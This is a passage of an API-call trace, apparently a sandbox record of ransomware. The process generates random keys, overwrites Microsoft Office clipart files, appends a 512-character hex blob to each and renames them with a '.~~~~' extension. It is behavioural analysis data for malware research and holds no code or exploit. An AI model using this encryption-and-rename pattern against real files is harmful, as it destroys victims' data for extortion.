	[0110.613] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.613] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.613] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.613] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.613] CloseHandle (hObject=0x144) returned 1
	[0110.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.613] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.~~~~")) returned 1
	[0110.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.614] GetLastError () returned 0x0
	[0110.616] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.617] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.617] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.617] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23060726945) returned 1
	[0110.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab8b6f50, dwHighDateTime=0x1d60e1e)) 
	[0110.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28092b8
	[0110.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28092b8 | out: hHeap=0x300000) returned 1
	[0110.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c978
	[0110.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.618] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.618] GetLastError () returned 0x0
	[0110.618] GetLastError () returned 0x0
	[0110.618] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.618] GetLastError () returned 0x0
	[0110.619] GetLastError () returned 0x0
	[0110.620] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffd90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.620] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x270, lpOverlapped=0x0) returned 1
	[0110.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.621] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.621] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.622] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.622] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.622] CloseHandle (hObject=0x144) returned 1
	[0110.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.622] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.~~~~")) returned 1
	[0110.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.624] GetLastError () returned 0x0
	[0110.624] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.625] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.625] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.625] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23061533736) returned 1
	[0110.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab8b6f50, dwHighDateTime=0x1d60e1e)) 
	[0110.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28092f0
	[0110.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28092f0 | out: hHeap=0x300000) returned 1
	[0110.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ca10
	[0110.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.626] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.626] GetLastError () returned 0x0
	[0110.626] GetLastError () returned 0x0
	[0110.626] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.626] GetLastError () returned 0x0
	[0110.626] GetLastError () returned 0x0
	[0110.629] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffeec8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.629] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1138, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1138, lpOverlapped=0x0) returned 1
	[0110.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.630] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.630] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.630] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.630] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.630] CloseHandle (hObject=0x144) returned 1
	[0110.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.631] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.~~~~")) returned 1
	[0110.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.632] GetLastError () returned 0x0
	[0110.632] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.633] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.633] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.634] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23062386375) returned 1
	[0110.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab8dd0b0, dwHighDateTime=0x1d60e1e)) 
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809328
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809328 | out: hHeap=0x300000) returned 1
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282caa8
	[0110.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.635] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.635] GetLastError () returned 0x0
	[0110.635] GetLastError () returned 0x0
	[0110.635] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.635] GetLastError () returned 0x0
	[0110.635] GetLastError () returned 0x0
	[0110.638] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffef38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.638] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x10c8, lpOverlapped=0x0) returned 1
	[0110.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.639] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.639] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.639] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.639] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.639] CloseHandle (hObject=0x144) returned 1
	[0110.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2b50
	[0110.639] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.~~~~")) returned 1
	[0110.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2b50 | out: hHeap=0x300000) returned 1
	[0110.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.641] GetLastError () returned 0x0
	[0110.641] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.642] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.643] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.643] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23063294619) returned 1
	[0110.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab8dd0b0, dwHighDateTime=0x1d60e1e)) 
	[0110.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809360
	[0110.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809360 | out: hHeap=0x300000) returned 1
	[0110.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2b50
	[0110.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282cb40
	[0110.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2b50 | out: hHeap=0x300000) returned 1
	[0110.644] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.644] GetLastError () returned 0x0
	[0110.644] GetLastError () returned 0x0
	[0110.644] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.644] GetLastError () returned 0x0
	[0110.645] GetLastError () returned 0x0
	[0110.647] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.647] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xdb8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xdb8, lpOverlapped=0x0) returned 1
	[0110.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.648] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.649] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.649] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.649] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.649] CloseHandle (hObject=0x144) returned 1
	[0110.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2b50
	[0110.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.~~~~")) returned 1
	[0110.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2b50 | out: hHeap=0x300000) returned 1
	[0110.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.650] GetLastError () returned 0x0
	[0110.651] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.652] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.653] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23064275687) returned 1
	[0110.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab903210, dwHighDateTime=0x1d60e1e)) 
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809398
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809398 | out: hHeap=0x300000) returned 1
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2b50
	[0110.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282cbd8
	[0110.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2b50 | out: hHeap=0x300000) returned 1
	[0110.654] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.654] GetLastError () returned 0x0
	[0110.654] GetLastError () returned 0x0
	[0110.654] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.654] GetLastError () returned 0x0
	[0110.654] GetLastError () returned 0x0
	[0110.681] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd820, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
